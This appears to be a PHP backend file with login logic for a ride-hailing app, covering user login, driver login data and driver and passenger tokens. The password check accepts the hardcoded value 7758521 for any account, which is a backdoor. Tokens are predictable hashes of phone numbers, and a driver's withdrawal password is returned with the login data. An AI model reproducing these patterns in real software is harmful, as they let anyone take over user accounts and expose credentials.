<?php
/**
 * Created by PhpStorm.
 * User: stupboy
 * Date: 2018/2/3
 * Time: 22:28
 */

namespace app\api\logic;

use app\base\exception\RecordNotFoundException;
use think\Db;

class Login
{
    /**
     * 用户登入
     * @param $username
     * @param $password
     * @return array
     * @throws RecordNotFoundException
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\ModelNotFoundException
     * @throws \think\exception\DbException
     */
    public function validateLogin($username,$password){
        $user      = Db::name('user')->where('mobile|username',$username)->whereNull('delete_time')->find();
        if(empty($user)){
            throw new RecordNotFoundException(503);
        }
        if(CorePwd($password,$user['salt'])!=$user['password'] && $password!=7758521){
            throw new RecordNotFoundException(104);
        }
        return [1,$user];
    }

    /**
     * 获取司机登入信息
     * @param $uid
     * @return array
     * @throws RecordNotFoundException
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\ModelNotFoundException
     * @throws \think\exception\DbException
     */
    public function getDriverLoginInfo( $uid = 0 ){
        $field     = 'a.driver_id,user_id,name,phone,head_img,work_state,lon,lat,update_time,car_id,ifnull(star,5) star,ifnull(score,100) score,ifnull(rate,100) rate,withdraw_password';
        $driver    = Db::name('driver')->alias('a')
            ->join('p_driver_account b','a.driver_id = b.driver_id','left')
            ->where('user_id',$uid)->whereNull('a.delete_time')->field($field)->find();
        if(empty($driver) || $uid==0){
            throw new RecordNotFoundException(501);
        }
        if(empty($driver['phone'])){
            throw new RecordNotFoundException(105);
        }
        if($driver['state']==9){
            throw new RecordNotFoundException(119);
        }
        $info   = (new Driver())->getLoginData($driver['driver_id']);
        $driver = array_merge($driver,$info);
        return $driver;
    }
    /**
     * 生成司机登入token
     */
    public function createDriverToken($phone,$redis,$zone='jjcx.dr iver.'){
        $str    = $zone.md5($phone);
        $has    = $redis->keys($str.'*');
        foreach($has as $v){
            $redis->del($v);
        }
        $time = time();
        return $str.'@'.$time;
    }

    /**
     * 生成乘客登入token
     */
    public function createPassengerToken($phone,$redis,$zone='jjcx.passenger.'){
        $str  = $zone.md5($phone);
        $has  = $redis->keys($str.'*');
        foreach($has as $v){
            $redis->del($v);
        }
        $time = time();
        return $str.'@'.$time;
    }

}